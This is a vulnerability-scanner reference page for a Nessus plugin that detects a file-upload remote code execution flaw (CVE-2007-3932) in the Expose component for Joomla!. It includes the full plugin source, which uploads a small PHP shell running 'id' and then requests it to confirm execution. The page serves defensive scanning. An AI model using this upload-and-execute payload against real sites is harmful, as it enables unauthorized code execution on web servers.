Expose for Joomla! File Upload RCE - Nessus

Critical   Plugin ID: 25736

This page contains detailed information about the Expose for Joomla! File Upload RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents
hide

Plugin Overview

ID: 25736
Name: Expose for Joomla! File Upload RCE
Filename: joomla_expose_arbitrary_upload.nasl
Vulnerability Published: N/A
This Plugin Published: 2007-07-19
Last Modification Time: 2022-04-11
Plugin Version: 1.26
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: joomla_detect.nasl
Required KB Items [?]: installed_sw/Joomla!, www/PHP

Vulnerability Information

Severity: Critical
Vulnerability Published: N/A
Patch Published: N/A
CVE [?]: CVE-2007-3932
CPE [?]: cpe:/a:joomla:joomla!

Synopsis

The remote web server contains a PHP application that is affected by a remote code execution vulnerability.

Description

The Expose component for Joomla!, a third-party component for Flash galleries, running on the remote host is affected by a remote code execution vulnerability within the com_expose/uploadimg.php script due to improper sanitization or verification of uploaded files before placing them in a user-accessible path. An unauthenticated, remote attacker can exploit this issue, by uploading and then making a direct request to a crafted file, to execute arbitrary PHP code on the remote host, subject to the privileges of the web server user ID.

Solution

Apply the security patch according to the vendor advisory.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Expose for Joomla! File Upload RCE vulnerability:

  1. Exploit-DB: exploits/php/webapps/4194.txt
    [EDB-4194: Joomla! Component Expose RC35 - Arbitrary File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:U/RC:ND
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.8 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.8 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:NA (None)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.8 (Critical)

Go back to menu.

Plugin Source

This is the joomla_expose_arbitrary_upload.nasl nessus plugin source code. This script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof. 

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(25736);
  script_version("1.26");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2007-3932");
  script_bugtraq_id(24958);
  script_xref(name:"EDB-ID", value:"4194");

  script_name(english:"Expose for Joomla! File Upload RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Expose component for Joomla!, a third-party component for Flash
galleries, running on the remote host is affected by a remote code
execution vulnerability within the com_expose/uploadimg.php script due
to improper sanitization or verification of uploaded files before
placing them in a user-accessible path. An unauthenticated, remote
attacker can exploit this issue, by uploading and then making a direct
request to a crafted file, to execute arbitrary PHP code on the remote
host, subject to the privileges of the web server user ID.");
  script_set_attribute(attribute:"see_also", value:"http://www.attrition.org/pipermail/vim/2007-July/001717.html");
  script_set_attribute(attribute:"solution", value:
"Apply the security patch according to the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"plugin_publication_date", value:"2007/07/19");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_MIXED_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("joomla_detect.nasl");
  script_require_keys("installed_sw/Joomla!", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("install_func.inc");

app = "Joomla!";
plugin = "Expose";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(qs:dir, port:port);
url = dir + "/administrator/components/com_expose/uploadimg.php";

# Make sure the affected script exists.
r = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);
res = r[2];

# If it does...
if ('form method="post" action="uploadimg.php"' >< res)
{
  # Try to upload a file that will execute a command.
  cmd = "id";
  # nb: if safe checks are enabled, move_uploaded_file() will fail.
  if (safe_checks()) fname = "/";
  else fname = SCRIPT_NAME - ".nasl" + "-" + unixtime() + ".php";

  bound = "nessus";
  boundary = "--" + bound;
  postdata =
    boundary + '\r\n' +
    'Content-Disposition: form-data; name="userfile"; filename="' + fname +
    '"\r\n' +
    'Content-Type: application/octet-stream\r\n' +
    '\r\n' +
    '<?php system('+cmd+');  ?>\r\n' +
    boundary + '--\r\n';

  r = http_send_recv3(
    method  : "POST",
    item    : url,
    version : 11,
    data    : postdata,
    port    : port,
    add_headers : make_array("Content-Type", "multipart/form-data; boundary="+bound),
    exit_on_fail : TRUE
  );
  post_req = http_last_sent_request();
  res = r[2];

  # If safe checks are enabled...
  if (safe_checks())
  {
    # There's a problem if we get a message that the upload failed.
    if ("<script>alert('Error uploading')" >< res)
    {
      vuln = TRUE;
      report =
        "Nessus was not able to directly exploit this issue as safe checks" +
        '\nare enabled in the scan policy; however it does appear the '+app+
        '\ninstall at '+install_url+ ' is affected based on the reply from' +
        '\nthe following request :\n\n'+
        post_req +
        '\n\nThis produced the following response : \n\n' +
        strstr(res[2], "<script>alert('Error uploading')") + '\n';
      security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);
      exit(0);
    }
  }
  else
  {
    pat = "File uploaded to \\.\\./\\.\\./\\.\\.(.+)"+fname;
    url2 = NULL;
    matches = egrep(pattern:pat, string:res);
    if (matches)
    {
      foreach match (split(matches))
      {
        match = chomp(match);
        url2 = eregmatch(pattern:pat, string:match);
        if (!empty_or_null(url2))
        {
          url2 = dir + url2[1] + fname;
          break;
        }
      }
    }
    if (isnull(url2))
      audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin+" component");

    # Now try to execute the script.
    r = http_send_recv3(method:"GET", item:url2, port:port, exit_on_fail:TRUE);
    res = r[2];

    # There's a problem if...
    if (
      # the output looks like it's from id or...
      egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res) ||
      # PHP's disable_functions prevents running system().
      egrep(pattern:"Warning.+\(\) has been disabled for security reasons", string:res)
    )
    {
      found = eregmatch(pattern:"(uid=[0-9]+.*gid=[0-9]+.*)", string:res);
      if (!empty_or_null(found)) output = found[1];
      else output = res;

      security_report_v4(
        port        : port,
        severity    : SECURITY_HOLE,
        cmd         : cmd,
        line_limit  : 2,
        request     : make_list(post_req, build_url(qs:url2, port:port)),
        output      : chomp(output),
        attach_type : 'text/plain'
      );
      exit(0);
    }
  }
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/joomla_expose_arbitrary_upload.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\joomla_expose_arbitrary_upload.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/joomla_expose_arbitrary_upload.nasl

Go back to menu.

How to Run

Here is how to run the Expose for Joomla! File Upload RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Expose for Joomla! File Upload RCE plugin ID 25736.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl joomla_expose_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a joomla_expose_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - joomla_expose_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state joomla_expose_arbitrary_upload.nasl -t <IP/HOST>

Go back to menu.

References

BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 130263 - Adobe ColdFusion File Upload (APSB18-33) (CVE-2018-15961)
  • 39790 - Adobe ColdFusion FCKeditor 'CurrentFolder' File Upload
  • 16061 - e107 Image Manager Unauthorized File Upload
  • 39806 - FCKeditor 'CurrentFolder' Arbitrary File Upload
  • 21780 - FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload
  • 69273 - Joomla! 2.5.x < 2.5.14 / 3.x < 3.1.5 .php. File Upload RCE
  • 64470 - Collector Component for Joomla! File Upload RCE
  • 79420 - Creative Contact Form Component for Joomla! File Upload RCE
  • 118310 - jQuery-File-Upload Arbitrary File Upload Vulnerability (Remote Check)
  • 58654 - Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload
  • 22367 - Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload
  • 82078 - ManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)
  • 82079 - ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)
  • 71217 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)
  • 71218 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload
  • 143600 - ManageEngine ServiceDesk Plus < 10.0 Build 10012 Arbitrary File Upload
  • 63638 - MoinMoin twikidraw.py Traversal File Upload Arbitrary File Overwrite
  • 47581 - Novell 'modulemanager' Servlet Arbitrary File Upload (intrusive check)
  • 47582 - Novell 'modulemanager' Servlet Arbitrary File Upload (safe check)
  • 66914 - Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
  • 35261 - OneOrZero Helpdesk tinfo.php Arbitrary File Upload
  • 49271 - OpenX Open Flash Chart ofc_upload_image.php File Upload Arbitrary Code Execution
  • 51119 - Sitefinity CMS Arbitrary File Upload
  • 22303 - TikiWiki jhot.php Arbitrary File Upload
  • 56735 - TimThumb Cache Directory 'src' Parameter Arbitrary PHP File Upload
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 80083 - Visual Mining NetCharts Server Arbitrary File Upload
  • 105732 - Western Digital MyCloud Unauthenticated File Upload
  • 79421 - Creative Contact Form Plugin for WordPress File Upload RCE
  • 76526 - MailPoet Newsletters for WordPress Arbitrary File Upload
  • 105372 - WP Symposium Plugin Arbitrary File Upload
  • 160208 - WSO2 Multiple Products File Upload Remote Command Execution (CVE-2022-29464)

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file joomla_expose_arbitrary_upload.nasl version 1.26. For more plugins, visit the Nessus Plugin Library.

Go back to menu.